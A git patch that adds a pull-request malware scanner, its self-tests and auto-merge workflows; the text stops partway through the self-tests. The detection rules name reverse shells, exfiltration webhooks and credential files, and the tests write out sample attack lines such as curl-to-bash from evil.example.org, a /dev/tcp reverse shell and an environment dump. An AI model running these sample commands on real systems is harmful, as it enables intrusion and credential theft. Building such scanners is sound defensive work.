From f85f26bf381bd7c288b89efa0801f807544fc130 Mon Sep 17 00:00:00 2001 From: Samuel Ojetunde Date: Mon, 26 Oct 2026 11:20:42 +0100 Subject: [PATCH] ci: malware scan, assignment check and auto-merge bot The same automation the Agrisettle repositories run: - malware-scan.yml and .github/scripts/malware_scan.py (with its self-tests) scan every PR's added code for malware and supply-chain patterns and publish the result as the "Malware scan" commit status. Silent unless it finds something. - require-assignment.yml closes a PR whose author is not assigned to the issue it links, as soon as it is opened. - auto-merge.yml merges a PR once its author is assigned, its checks pass and the malware scan is clean, and holds large out-of-scope PRs for a maintainer. Copied unchanged except the bot's check and scope lists for this repository, and its CodeRabbit request, which only runs where .coderabbit.yaml exists. --- .../__pycache__/malware_scan.cpython-312.pyc | Bin 0 -> 37696 bytes .github/scripts/malware_scan.py | 696 ++++++++++++++++++ .github/scripts/test_malware_scan.py | 291 ++++++++ .github/workflows/auto-merge.yml | 670 +++++++++++++++++ .github/workflows/malware-scan.yml | 150 ++++ .github/workflows/require-assignment.yml | 104 +++ 6 files changed, 1911 insertions(+) create mode 100644 .github/scripts/__pycache__/malware_scan.cpython-312.pyc create mode 100644 .github/scripts/malware_scan.py create mode 100644 .github/scripts/test_malware_scan.py create mode 100644 .github/workflows/auto-merge.yml create mode 100644 .github/workflows/malware-scan.yml create mode 100644 .github/workflows/require-assignment.yml diff --git a/.github/scripts/__pycache__/malware_scan.cpython-312.pyc b/.github/scripts/__pycache__/malware_scan.cpython-312.pyc new file mode 100644 index 0000000000000000000000000000000000000000..32a94a1476dabadcbcaf488c3ec334d5096685bd GIT binary patch literal 37696 zcmch=3sf9enkJZ$Z^+~g0!c^;5JH)V9%W(yWDNurQK3Z_jajw`kYct_iWd6SMMYSm$I@n)9UKl+3}t|J=k(j zZE0rD?)Tq_$b?i*-SFnqDf- zxb7A_;%?NbS94!$e#fqTv9Ml*trGT#yVs>q4OgE~^QBU#Mc6u_J|%?)xb7A9eW?`o zBkTd;pvZrT@*YCi!$PCTuPg5nxE>Xb3C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/scripts/malware_scan.py @@ -0,0 +1,696 @@ +#!/usr/bin/env python3 +"""Malware / supply-chain scanner for pull requests. + +Scans only what a PR *adds* (plus a few removal checks) for signs of +malicious code: install hooks, download-and-execute, obfuscated payloads, +credential theft, exfiltration endpoints, reverse shells, crypto miners, +Trojan Source unicode, non-registry dependency sources, planted Stellar +secret keys and executable binaries. + +Verdicts (exit codes): + 0 clean -- nothing found + 4 WARN -- sensitive but routine change (CI jobs, deploy/build config, + process spawning, contract auth refactors, large generated + data files); recorded in the report, does NOT block + 1 BLOCK -- malicious indicators; the PR must never be merged as-is + 2 HOLD -- the PR edits the security gate itself, escalates workflow + privileges (repository secrets, pull_request_target / + workflow_run, write permissions, untrusted third-party + actions), hard-codes an address in contract code, or adds + code too large to scan; a maintainer must review and merge it + 3 error -- the scan could not complete; callers retry later + +Usage: + malware_scan.py --repo OWNER/NAME --pr N [--report FILE] (GitHub API, + token from GH_TOKEN or GITHUB_TOKEN) + malware_scan.py --diff FILE [--report FILE] (local diff) + +Security notes: + * Runs from the BASE branch (pull_request_target / the auto-merge bot): + it reads the PR's patches through the API and never checks out or + executes PR code, so a PR cannot change what scans it. + * Every string that comes from the PR (paths, line content) is escaped + before it reaches a GitHub workflow command or the Markdown report. + * Standard library only -- nothing to install, nothing to compromise. +""" + +from __future__ import annotations + +import argparse +import json +import os +import re +import sys +import urllib.error +import subprocess +import urllib.request +from dataclasses import dataclass, field + +BLOCK, HOLD, WARN, INFO = "BLOCK", "HOLD", "WARN", "INFO" +RANK = {BLOCK: 0, HOLD: 1, WARN: 2, INFO: 3} + +# ── file classes ──────────────────────────────────────────────────────── + +CODE_EXT = ( + ".js", ".mjs", ".cjs", ".jsx", ".ts", ".mts", ".cts", ".tsx", ".vue", + ".svelte", ".html", ".htm", ".rs", ".py", ".sh", ".bash", ".zsh", + ".ps1", ".psm1", ".bat", ".cmd", ".rb", ".pl", ".go", ".php", +) +DOC_EXT = (".md", ".mdx", ".txt", ".rst", ".adoc") +LOCKFILES = ("package-lock.json", "npm-shrinkwrap.json", "pnpm-lock.yaml", + "yarn.lock", "Cargo.lock", "go.sum") +SAFE_BINARY_EXT = (".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".svg", + ".avif", ".bmp", ".woff", ".woff2", ".ttf", ".otf", + ".eot", ".pdf", ".mp4", ".webm", ".mp3", ".wav") +EXECUTABLE_EXT = (".exe", ".dll", ".so", ".dylib", ".node", ".jar", ".class", + ".pyc", ".pyo", ".o", ".a", ".lib", ".msi", ".scr", ".apk", + ".deb", ".rpm", ".dmg", ".appimage", ".elf", ".bin", + ".wasm") +ARCHIVE_EXT = (".zip", ".tar", ".gz", ".tgz", ".bz2", ".xz", ".7z", ".rar") + +# The scanner and its tests necessarily contain every pattern they look for. +# They live under .github/, so any change to them is a HOLD regardless. +SELF_PATHS = (".github/scripts/malware_scan.py", + ".github/scripts/test_malware_scan.py") + +# The security gate itself: a PR must never be able to switch it off and +# have the bot merge that change. +GATE_PATHS = (".github/scripts/malware_scan.py", + ".github/scripts/test_malware_scan.py", + ".github/workflows/malware-scan.yml", + ".github/workflows/auto-merge.yml") + +# Publishers whose GitHub Actions these repos already trust. +TRUSTED_ACTION_OWNERS = ("actions", "github", "dtolnay", "taiki-e", + "googleapis", "swatinem", "stellar", "golangci", + "aquasecurity") + +# Paths whose change can alter CI, review, security or deploy behaviour. +SENSITIVE_PATH = re.compile( + r"^(\.github/|\.husky/|\.coderabbit\.ya?ml$|deny\.toml$|(.*/)?\.npmrc$|" + r"(.*/)?\.yarnrc(\.yml)?$|render\.ya?ml$|vercel\.json$|[^/]*-build\.sh$|" + r"(.*/)?Dockerfile$|(.*/)?build\.rs$|\.cargo/config(\.toml)?$|" + r"rust-toolchain(\.toml)?$)" +) + + +def ext_of(path: str) -> str: + base = path.rsplit("/", 1)[-1].lower() + return "." + base.rsplit(".", 1)[-1] if "." in base else "" + + +def is_code(p: str) -> bool: + return ext_of(p) in CODE_EXT + + +def is_doc(p: str) -> bool: + return ext_of(p) in DOC_EXT + + +def is_lockfile(p: str) -> bool: + return p.rsplit("/", 1)[-1] in LOCKFILES + + +def is_data_snapshot(p: str) -> bool: + # Generated test fixtures (Soroban test snapshots, Jest snapshots). + return "/test_snapshots/" in "/" + p or p.endswith(".snap") + + +def is_contract_src(p: str) -> bool: + return (p.endswith(".rs") and "/src/" in p and "test" not in + p.rsplit("/", 1)[-1] and "/tests/" not in p) + + +# ── rules ─────────────────────────────────────────────────────────────── + + +@dataclass +class Rule: + id: str + severity: str + message: str + pattern: re.Pattern + applies: callable # (path) -> bool + + +def R(id, severity, message, pattern, applies, flags=0): + return Rule(id, severity, message, re.compile(pattern, flags), applies) + + +def code_or_config(p: str) -> bool: + """Anything that can execute or configure execution (not docs/data).""" + return not (is_doc(p) or is_lockfile(p) or is_data_snapshot(p)) + + +def package_json(p: str) -> bool: + return p.rsplit("/", 1)[-1] == "package.json" + + +def cargo_toml(p: str) -> bool: + return p.rsplit("/", 1)[-1] == "Cargo.toml" + + +def go_mod(p: str) -> bool: + return p.rsplit("/", 1)[-1] in ("go.mod", "go.work") + + +def go_file(p: str) -> bool: + return p.endswith(".go") + + +def any_text(p: str) -> bool: + return True + + +# Placeholder Stellar keys used in tests (GAAAA…, GSTRANGERXXXX…) are not +# real keys; a real key has no run of 8+ identical characters. +def _real_strkey(s: str) -> bool: + return not re.search(r"(.)\1{7,}", s) + + +LINE_RULES = [ + # ---- BLOCK: unambiguous malware / supply-chain attack techniques ---- + R("npm-install-hook", BLOCK, + "npm lifecycle hook that runs automatically on `npm install` -- the " + "most common npm malware delivery vector", + r'"(preinstall|install|postinstall|preuninstall|uninstall|' + r'postuninstall|prepublish|preprepare|postprepare)"\s*:', + package_json), + R("download-and-execute", BLOCK, + "downloads remote content and pipes it straight into an interpreter", + r"\b(curl|wget|iwr|Invoke-WebRequest)\b[^\n|]*\|\s*(sudo\s+)?" + r"((ba|z|da|k)?sh|python3?|node|perl|ruby|php|iex)\b" + r"|\b(ba)?sh\s+<\(\s*(curl|wget)\b" + r"|\b(Invoke-Expression|DownloadString|DownloadFile)\b" + r"|\biex\s*[\(\$]" + r"|-(EncodedCommand|enc)\s+[A-Za-z0-9+/=]{20,}", + code_or_config, re.I), + R("eval-of-decoded-payload", BLOCK, + "evaluates a decoded/obfuscated string -- classic hidden payload", + r"\b(eval|Function|execScript)\s*\(\s*(atob|Buffer\.from|unescape|" + r"decodeURIComponent|String\.fromCharCode|require\(['\"]zlib)" + r"|\bexec\s*\(\s*(base64\.b64decode|bytes\.fromhex|zlib\.decompress|" + r"codecs\.decode)", + code_or_config), + R("js-obfuscator", BLOCK, + "javascript-obfuscator style identifiers / escaped byte strings", + r"(_0x[0-9a-f]{4,}\b.*){3,}|(\\x[0-9a-fA-F]{2}){12,}" + r"|String\.fromCharCode\(\s*\d+\s*(,\s*\d+\s*){10,}\)", + code_or_config, re.I), + R("reverse-shell", BLOCK, + "reverse shell / remote command channel", + r"/dev/(tcp|udp)/\S+\s+0>&1|>&\s*/dev/(tcp|udp)/" + r"|\bnc(at)?\b[^\n]*\s-(e|c)\s|\bbash\s+-i\s*>&" + r"|\bsocat\b[^\n]*\bexec:|\bmkfifo\b[^\n]*\bnc\b" + r"|\bnet\.(connect|createConnection)\([^\n]*\bspawn\(", + code_or_config), + R("exfiltration-endpoint", BLOCK, + "known data-exfiltration / request-capture endpoint", + r"discord(app)?\.com/api/webhooks|api\.telegram\.org/bot" + r"|hooks\.slack\.com/services|webhook\.site|pipedream\.net" + r"|requestbin|requestcatcher|ngrok(-free)?\.(io|app|dev)" + r"|\binteract\.sh\b|\boast\.(pro|live|site|online|fun|me)\b" + r"|burpcollaborator|pastebin\.com/raw|\btransfer\.sh\b|\b0x0\.st\b" + r"|canarytokens|\bbeeceptor\.com|\bngrok\.com", + code_or_config, re.I), + R("credential-theft", BLOCK, + "reads local credentials, keys or wallet data", + r"\.ssh/|\bid_(rsa|ed25519|ecdsa)\b|\.aws/credentials|\.git-credentials" + r"|\.docker/config\.json|/etc/(passwd|shadow)|\.pypirc|\.netrc\b" + r"|\.config/(stellar|solana|gcloud)/|\bwallet\.dat\b" + r"|nkbihfbeogaeaoehlefnkodbefgpgknn" # MetaMask extension id + r"|Login Data['\"]|Local Extension Settings|\bkeychain\b" + r"|readFileSync\([^)]*\.npmrc", + is_code, re.I), + R("env-dump", BLOCK, + "serialises the whole environment (all secrets) at once", + r"JSON\.stringify\(\s*process\.env\s*[,)]|json\.dumps\(\s*dict\(" + r"\s*os\.environ|base64[^\n]*process\.env\b(?!\.)" + r"|json\.Marshal(Indent)?\(\s*os\.Environ\(\)", + is_code), + R("editor-autorun", BLOCK, + "editor task that runs automatically when the folder is opened -- " + "the delivery step of developer-targeted malware", + r'"runOn"\s*:\s*"folderOpen"|"task\.allowAutomaticTasks"\s*:\s*' + r'("on"|true)', + lambda p: (p.startswith(".vscode/") or "/.vscode/" in p + or p.endswith(".code-workspace") or p.startswith(".idea/") + or "/.idea/" in p)), + R("runs-disguised-file", BLOCK, + "executes a file disguised as a font, image, text or data asset", + r"(?]", + lambda p: not (is_lockfile(p) or is_data_snapshot(p) + or ext_of(p) in (".svg", ".md", ".txt"))), + R("crypto-miner", BLOCK, + "cryptocurrency miner", + r"stratum\+(tcp|ssl)://|\bxmrig\b|coinhive|coin-hive|cryptonight" + r"|\bminero\.cc\b|\bnicehash\b", + code_or_config, re.I), + R("trojan-source-bidi", BLOCK, + "bidirectional unicode control character (Trojan Source, " + "CVE-2021-42574): code renders differently from how it runs", + "[‪-‮⁦-⁩]", any_text), + R("hidden-unicode", BLOCK, + "zero-width / invisible character inside code", + "[​-‍⁠᠎]|(?<=.)", is_code), + R("non-registry-dependency", BLOCK, + "dependency pulled from git / a URL / outside the repo instead of " + "the npm registry", + r'^\s*"(?!(url|homepage|\$schema|funding|repository|bugs|author|' + r'email|type|directory|registry)")[@\w./-]+"\s*:\s*"(git\+|git:|' + r"github:|gitlab:|bitbucket:|https?://|file:\.\./\.\.|link:)", + package_json), + R("non-registry-lockfile", BLOCK, + "lockfile resolves a package from somewhere other than the " + "official registry", + r'"resolved"\s*:\s*"(?!https://registry\.npmjs\.org/)' + r'(https?:|git|github:|file:/)' + r'|^\s*resolved\s+"?(?!https://registry\.(npmjs\.org|yarnpkg\.com)/)' + r"https?:" + r'|^\s*source\s*=\s*"(?!registry\+https://github\.com/rust-lang/' + r'crates\.io-index"|sparse\+https://index\.crates\.io/")', + is_lockfile), + R("cargo-untrusted-source", BLOCK, + "crate pulled from git or an alternative registry", + r"\bgit\s*=\s*\"|\bregistry(-index)?\s*=\s*\"", cargo_toml), + R("stellar-secret-key", BLOCK, + "Stellar secret seed (S...) committed -- planted or leaked key", + r"\bS[A-Z2-7]{55}\b", lambda p: not is_data_snapshot(p)), + # ---- HOLD: workflow privilege escalation -- never auto-merged ---- + R("workflow-privilege", HOLD, + "workflow gains privileges (repository secrets, a privileged trigger " + "or write permissions)", + r"\bsecrets\.(?!GITHUB_TOKEN\b)[A-Za-z_]\w*|\bpull_request_target\b" + r"|\bworkflow_run\b|\bwrite-all\b|^\s*[a-z-]+\s*:\s*write\b", + lambda p: p.startswith(".github/workflows/")), + R("go-module-redirect", HOLD, + "go.mod `replace` redirects a dependency to a fork or a local path, " + "bypassing the module proxy and checksum database", + r"^\s*replace\b|^\s*[\w./-]+(\s+v[\w.+-]+)?\s*=>\s*\S", go_mod), + R("go-insecure-fetch", HOLD, + "disables Go module checksum / proxy verification", + r"\bGO(NOSUMDB|NOSUMCHECK|INSECURE|FLAGS=.*-insecure)\b" + r"|\bGOSUMDB\s*=\s*off\b|\bGOPROXY\s*=\s*(direct|off)\b", + code_or_config), + # ---- WARN: sensitive but routine -- recorded, never blocks ---- + R("process-spawn", WARN, + "spawns OS processes -- verify the exact command is benign", + r"\bchild_process\b|\bexecSync\b|\bexecFileSync\b|\bspawnSync\b" + r"|\bspawn\(|\bexecFile\(|std::process::Command|\bsubprocess\." + r"|\bos\.(system|popen)\(|\bBun\.spawn|\bDeno\.(run|Command)" + r'|"os/exec"|\bexec\.Command(Context)?\(|\bsyscall\.(Exec|ForkExec)\(', + is_code), + R("dynamic-eval", WARN, + "dynamic code evaluation", + r"(? None: + new_line = 0 + for raw in (fc.patch or "").split("\n"): + if raw.startswith("@@"): + m = re.match(r"@@ -\d+(?:,\d+)? \+(\d+)", raw) + new_line = int(m.group(1)) if m else 0 + elif raw.startswith("+") and not raw.startswith("+++"): + fc.added.append((new_line, raw[1:])) + new_line += 1 + elif raw.startswith("-") and not raw.startswith("---"): + fc.removed.append(raw[1:]) + elif raw.startswith("\\"): + continue + else: + new_line += 1 + + +def files_from_diff(text: str) -> list[FileChange]: + files, cur, buf = [], None, [] + + def flush(): + if cur is not None: + cur.patch = "\n".join(buf) + files.append(cur) + + for line in text.split("\n"): + if line.startswith("diff --git "): + flush() + m = re.match(r"diff --git a/(.*) b/(.*)$", line) + cur, buf = FileChange(m.group(2) if m else line), [] + elif cur is None: + continue + elif line.startswith("new file mode"): + cur.status = "added" + elif line.startswith("deleted file mode"): + cur.status = "removed" + elif line.startswith("Binary files") or line.startswith("GIT binary"): + cur.binary = True + elif not line.startswith(("index ", "--- ", "+++ ", "similarity ", + "rename ", "old mode", "new mode")): + buf.append(line) + flush() + for f in files: + if f.binary: + f.patch = None + return files + + +def files_from_gh(repo: str, pr: int) -> list[FileChange]: + """Same data as files_from_api, fetched through the GitHub CLI so a + caller's `gh` (including an offline test double) supplies it.""" + proc = subprocess.run( + ["gh", "api", "--paginate", f"repos/{repo}/pulls/{pr}/files", + "--jq", ".[] | tojson"], + capture_output=True, text=True, encoding="utf-8", timeout=300) + if proc.returncode != 0: + raise RuntimeError(f"gh api failed: {proc.stderr.strip()[:200]}") + out = [] + for line in proc.stdout.splitlines(): + if line.strip(): + f = json.loads(line) + out.append(FileChange(f["filename"], f.get("status", "modified"), + f.get("patch"))) + if len(out) >= 3000: + raise RuntimeError("PR changes 3 000+ files -- cannot be fully " + "scanned") + return out + + +def files_from_api(repo: str, pr: int) -> list[FileChange]: + token = os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN") + api = os.environ.get("GITHUB_API_URL", "https://api.github.com") + out = [] + for page in range(1, 31): # API hard limit: 3 000 files + req = urllib.request.Request( + f"{api}/repos/{repo}/pulls/{pr}/files?per_page=100&page={page}", + headers={"Accept": "application/vnd.github+json", + "X-GitHub-Api-Version": "2022-11-28", + **({"Authorization": f"Bearer {token}"} if token else {})}) + with urllib.request.urlopen(req, timeout=60) as resp: + batch = json.load(resp) + for f in batch: + out.append(FileChange(f["filename"], f.get("status", "modified"), + f.get("patch"))) + if len(batch) < 100: + return out + raise RuntimeError("PR changes more than 3 000 files -- cannot be " + "fully scanned") + + +# ── scanning ──────────────────────────────────────────────────────────── + + +@dataclass +class Finding: + severity: str + rule: str + message: str + path: str + line: int = 0 + evidence: str = "" + + +def scan(files: list[FileChange]) -> list[Finding]: + findings: list[Finding] = [] + for fc in files: + if fc.patch is not None and not fc.added and not fc.removed: + parse_patch(fc) + p, ext = fc.path, ext_of(fc.path) + + if p in GATE_PATHS: + findings.append(Finding(HOLD, "security-gate", GATE_MSG, p)) + elif SENSITIVE_PATH.search(p): + if p.startswith(".github/workflows/") and _only_action_bumps(fc): + findings.append(Finding(INFO, "action-version-bump", + "GitHub Action version bump only " + "(same actions, new refs)", p)) + else: + findings.append(Finding(WARN, "sensitive-path", + SENSITIVE_MSG, p)) + if p.startswith(".github/"): + for no, text in fc.added: + m = re.match(r"\s*-?\s*uses:\s*([\w.-]+)/", text) + if m and m.group(1).lower() not in TRUSTED_ACTION_OWNERS: + findings.append(Finding( + HOLD, "untrusted-action", + f"uses a third-party action from `{m.group(1)}`", + p, no, text)) + + if fc.status == "removed": + continue + + if fc.patch is None: + if ext in EXECUTABLE_EXT: + findings.append(Finding(BLOCK, "executable-binary", + "compiled/executable binary added -- " + "cannot be reviewed", p)) + elif ext in ARCHIVE_EXT: + findings.append(Finding(HOLD, "archive", + "archive added -- contents cannot " + "be scanned", p)) + elif (is_data_snapshot(p) or is_lockfile(p) + or ext in (".json", ".csv", ".svg")): + findings.append(Finding(WARN, "unscannable-data", + "data file too large to diff", p)) + elif ext not in SAFE_BINARY_EXT and fc.status != "renamed": + findings.append(Finding(HOLD, "unscannable", + "no diff available (binary or too " + "large) -- review it manually", p)) + continue + + if p in SELF_PATHS: + continue + + for no, text in fc.added: + for rule in LINE_RULES: + if rule.id != "trojan-source-bidi" and is_data_snapshot(p): + continue + if not rule.applies(p): + continue + m = rule.pattern.search(text) + if not m: + continue + if rule.id == "stellar-secret-key" and not _real_strkey( + m.group(0)): + continue + findings.append(Finding(rule.severity, rule.id, rule.message, + p, no, text)) + if is_code(p) and NET_CALL.search(text): + for host in URL.findall(text): + if not ALLOWED_HOSTS.match(host): + findings.append(Finding( + WARN, "unknown-network-host", + f"network call to unexpected host `{host}`", + p, no, text)) + + if is_contract_src(p): + def auth_calls(lines): + return sum(len(re.findall(r"\.require_auth(_for_args)?\(", t)) + for t in lines if not t.lstrip().startswith("//")) + gone = auth_calls(fc.removed) - auth_calls(t for _, t in fc.added) + if gone > 0: + findings.append(Finding( + WARN, "contract-auth-removed", + f"{gone} `require_auth` call(s) removed from contract " + "code -- confirm every signer is still enforced", p)) + for no, text in fc.added: + for key in re.findall(r"\b[GC][A-Z2-7]{55}\b", text): + if _real_strkey(key): + findings.append(Finding( + HOLD, "hardcoded-address", + "hard-coded Stellar address in contract code -- " + "funds could be routed to it", p, no, text)) + + findings.sort(key=lambda f: (RANK[f.severity], f.path, f.line)) + return findings + + +def _only_action_bumps(fc: FileChange) -> bool: + """True when a workflow diff only changes the refs of existing actions.""" + def uses(lines): + out = set() + for t in lines: + s = t.strip() + if not s or s.startswith("#"): + continue + m = re.match(r"-?\s*uses:\s*([^@\s]+)@\S+", s) + if not m: + return None + out.add(m.group(1).lower()) + return out + added = uses(t for _, t in fc.added) + removed = uses(fc.removed) + return bool(added) and added is not None and removed is not None \ + and added <= removed + + +# ── output ────────────────────────────────────────────────────────────── + + +def verdict_of(findings: list[Finding]) -> str: + sev = {f.severity for f in findings} + for level in (BLOCK, HOLD, WARN): + if level in sev: + return level + return "CLEAN" + + +def _md(s: str, limit: int = 140) -> str: + s = s.strip().replace("\r", " ").replace("\n", " ") + s = s if len(s) <= limit else s[:limit] + "…" + # Neutralise markdown/HTML so PR content can't inject into the report; + # inside a code span @mentions and links are inert. + s = s.replace("`", "ˋ").replace("|", "\\|").replace("<", "<") + return f"`{s}`" if s else "" + + +def report_md(findings: list[Finding], files: list[FileChange], + verdict: str) -> str: + """Short report: only the findings behind the verdict, at most five. + + Clean and WARN verdicts produce nothing a PR author needs to read, so + they get a single line (kept in the job log, never posted).""" + if verdict not in (BLOCK, HOLD): + return f"Malware scan: {verdict.lower()} ({len(findings)} note(s)).\n" + shown = [f for f in findings if f.severity == verdict] + lines = [] + for f in shown[:5]: + loc = _md(f"{f.path}:{f.line}" if f.line else f.path, 90) + lines.append(f"- {loc} — {f.message}") + if len(shown) > 5: + lines.append(f"- …and {len(shown) - 5} more") + return "\n".join(lines) + "\n" + + +def _wf(s: str, prop: bool = False) -> str: + s = s.replace("%", "%25").replace("\r", "%0D").replace("\n", "%0A") + return s.replace(":", "%3A").replace(",", "%2C") if prop else s + + +def annotate(findings: list[Finding]) -> None: + if os.environ.get("GITHUB_ACTIONS") != "true": + return + for f in findings: + if f.severity not in (BLOCK, HOLD): + continue + level = "error" if f.severity == BLOCK else "warning" + loc = f"file={_wf(f.path, True)}" + (f",line={f.line}" if f.line else "") + print(f"::{level} {loc},title={_wf('Malware scan: ' + f.rule, True)}::" + f"{_wf(f.message)}") + + +def main(argv=None) -> int: + ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) + src = ap.add_mutually_exclusive_group(required=True) + src.add_argument("--diff", help="unified diff file to scan") + src.add_argument("--pr", type=int, help="pull request number") + ap.add_argument("--gh", action="store_true", + help="with --pr: fetch the PR's files through `gh api`") + ap.add_argument("--repo", default=os.environ.get("GITHUB_REPOSITORY")) + ap.add_argument("--report", help="write the Markdown report here") + ap.add_argument("--json", action="store_true", help="print JSON findings") + a = ap.parse_args(argv) + try: + if a.diff: + with open(a.diff, encoding="utf-8", errors="replace") as fh: + files = files_from_diff(fh.read()) + else: + if not a.repo: + ap.error("--repo is required with --pr") + files = (files_from_gh if a.gh else files_from_api)(a.repo, a.pr) + findings = scan(files) + except (OSError, urllib.error.URLError, RuntimeError, ValueError, + subprocess.SubprocessError) as e: + msg = ("### ⚠️ Malware scan — could not complete\nThe scan failed " + f"({_md(str(e), 200)}), so this PR is held for a maintainer.\n") + if a.report: + with open(a.report, "w", encoding="utf-8") as fh: + fh.write(msg) + print(f"scan error: {e}", file=sys.stderr) + return 3 + + verdict = verdict_of(findings) + if a.report: + with open(a.report, "w", encoding="utf-8") as fh: + fh.write(report_md(findings, files, verdict)) + annotate(findings) + if a.json: + print(json.dumps([f.__dict__ for f in findings], indent=1)) + else: + print(f"verdict: {verdict} ({len(findings)} finding(s))", + file=sys.stderr) + return {BLOCK: 1, HOLD: 2, WARN: 4}.get(verdict, 0) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/.github/scripts/test_malware_scan.py b/.github/scripts/test_malware_scan.py new file mode 100644 index 0000000..56fad5f --- /dev/null +++ b/.github/scripts/test_malware_scan.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python3 +"""Self-tests for malware_scan.py. + +Run by the auto-merge bot before every scan (.github/workflows/auto-merge.yml), so a broken +or weakened rule fails loudly instead of silently letting malware through. +Positive samples are real-world attack shapes; negative samples are real +code from this project that must stay clean. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +import malware_scan as ms # noqa: E402 + + +def diff(path, *added, removed=(), new=False): + lines = [f"diff --git a/{path} b/{path}"] + if new: + lines.append("new file mode 100644") + lines += [f"--- a/{path}", f"+++ b/{path}", + f"@@ -1,{len(removed)} +1,{len(added)} @@"] + lines += [f"-{r}" for r in removed] + [f"+{a}" for a in added] + return "\n".join(lines) + "\n" + + +def verdict(text): + findings = ms.scan(ms.files_from_diff(text)) + return ms.verdict_of(findings), {f.rule for f in findings} + + +class Blocks(unittest.TestCase): + CASES = [ + ("npm-install-hook", "api/package.json", + ' "postinstall": "node ./scripts/setup.js",'), + ("npm-install-hook", "site/package.json", + ' "preinstall": "curl -s https://x.io/a | sh"'), + ("download-and-execute", "api/scripts/setup.ts", + 'execSync("curl -fsSL https://evil.example.org/i.sh | bash")'), + ("download-and-execute", "tools/x.ps1", + "IEX (New-Object Net.WebClient).DownloadString('http://a/b')"), + ("download-and-execute", "scripts/x.sh", "bash <(wget -qO- http://a)"), + ("eval-of-decoded-payload", "buyer-app/src/util.ts", + 'eval(atob("Y29uc29sZS5sb2coMSk="));'), + ("eval-of-decoded-payload", "api/src/x.js", + "new Function(Buffer.from(p, 'base64').toString())()"), + ("eval-of-decoded-payload", "tools/x.py", + "exec(base64.b64decode(PAYLOAD))"), + ("js-obfuscator", "coop-pwa/src/a.js", + "var _0x3f2a=['log'];(function(_0x1b2c,_0x4d5e){_0x1b2c[_0x4d5e]})"), + ("js-obfuscator", "coop-pwa/src/b.js", + 'const s = "\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x65\\x76\\x69' + '\\x6c\\x2e\\x63\\x6f";'), + ("reverse-shell", "scripts/x.sh", "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"), + ("reverse-shell", "scripts/y.sh", "nc -e /bin/sh 10.0.0.1 9001"), + ("exfiltration-endpoint", "api/src/log.ts", + 'fetch("https://discord.com/api/webhooks/123/abc", {method:"POST"})'), + ("exfiltration-endpoint", "api/src/t.ts", + 'await fetch(`https://api.telegram.org/bot${t}/sendMessage`)'), + ("exfiltration-endpoint", "e2e/x.ts", 'const u = "https://abc.ngrok-free.app"'), + ("credential-theft", "api/src/h.ts", + 'fs.readFileSync(path.join(os.homedir(), ".ssh/id_rsa"))'), + ("credential-theft", "api/src/s.ts", + 'readFileSync(home + "/.config/stellar/identity/alice.toml")'), + ("credential-theft", "api/src/n.ts", "readFileSync('.npmrc')"), + ("env-dump", "api/src/boot.ts", + 'body: JSON.stringify(process.env),'), + ("crypto-miner", "site/src/m.js", + 'connect("stratum+tcp://pool.minexmr.com:4444")'), + ("trojan-source-bidi", "api/src/auth.ts", + 'if (role != "admin‮ ⁦// check⁩ ⁦") {'), + ("hidden-unicode", "api/src/auth.ts", "const isAdmin​ = true;"), + ("non-registry-dependency", "api/package.json", + ' "left-pad": "github:attacker/left-pad#main",'), + ("non-registry-dependency", "api/package.json", + ' "lodash": "https://evil.example.org/lodash.tgz",'), + ("non-registry-lockfile", "api/package-lock.json", + ' "resolved": "https://evil-mirror.example.org/x/-/x-1.0.0.tgz",'), + ("non-registry-lockfile", "Cargo.lock", + 'source = "git+https://github.com/attacker/soroban-sdk#abc"'), + ("cargo-untrusted-source", "contracts/escrow/Cargo.toml", + 'soroban-sdk = { git = "https://github.com/attacker/rs-soroban-sdk" }'), + ("stellar-secret-key", "api/src/config.ts", + 'const KEY = "SBK2VIYYSVG76E7VC3QHYARNFLY2EAQXDHRC7BMXBBGIFG74ARPRMNQM";'), + # Real-world sample shapes from use-assay/Assay#267 (VS Code + # folder-open task running an obfuscated "font") + ("editor-autorun", ".vscode/tasks.json", + ' "runOn": "folderOpen"'), + ("editor-autorun", ".vscode/settings.json", + ' "task.allowAutomaticTasks": true,'), + ("runs-disguised-file", ".vscode/tasks.json", + '"command": "(command -v node >/dev/null 2>&1 && node ' + './public/fonts/fa-solid.lkf) || echo \'\'",'), + ("whitespace-hidden-code", "public/fonts/fa-solid.lkf", + "\t" * 120 + "global['!'] = '8-&&';function y7(R,c,"), + # Go + ("download-and-execute", "internal/x/gen.go", + "//go:generate sh -c \"curl -s https://evil.example.org/p | sh\""), + ("download-and-execute", "cmd/x/main.go", + 'exec.Command("bash", "-c", "wget -qO- http://a/b | bash").Run()'), + ("credential-theft", "internal/x/home.go", + 'os.ReadFile(filepath.Join(home, ".ssh/id_ed25519"))'), + ("env-dump", "internal/x/telemetry.go", + "b, _ := json.Marshal(os.Environ())"), + ("exfiltration-endpoint", "internal/x/report.go", + 'http.Post("https://discord.com/api/webhooks/1/x", "application/json", r)'), + ("reverse-shell", "cmd/x/main.go", + 'exec.Command("bash", "-c", "bash -i >& /dev/tcp/10.0.0.1/9001 0>&1")'), + ("reverse-shell", "scripts/x.sh", "sh -i 5<> /dev/tcp/1.2.3.4/80 0>&1"), + ] + + def test_each_malicious_sample_is_blocked(self): + for rule, path, line in self.CASES: + with self.subTest(rule=rule, line=line): + v, rules = verdict(diff(path, line)) + self.assertEqual(v, ms.BLOCK, f"{rule} not blocked: {rules}") + self.assertIn(rule, rules) + + def test_executable_binary_is_blocked(self): + text = ("diff --git a/api/bin/helper.node b/api/bin/helper.node\n" + "new file mode 100644\nBinary files /dev/null and " + "b/api/bin/helper.node differ\n") + self.assertEqual(verdict(text)[0], ms.BLOCK) + + def test_block_wins_over_hold(self): + text = (diff(".github/workflows/ci.yml", " - run: echo hi") + + diff("api/package.json", '"postinstall": "node x"')) + self.assertEqual(verdict(text)[0], ms.BLOCK) + + +class Holds(unittest.TestCase): + CASES = [ + ("security-gate", ".github/scripts/malware_scan.py", "# weaken"), + ("security-gate", ".github/workflows/auto-merge.yml", "# weaken"), + ("workflow-privilege", ".github/workflows/api.yml", + " TOKEN: ${{ 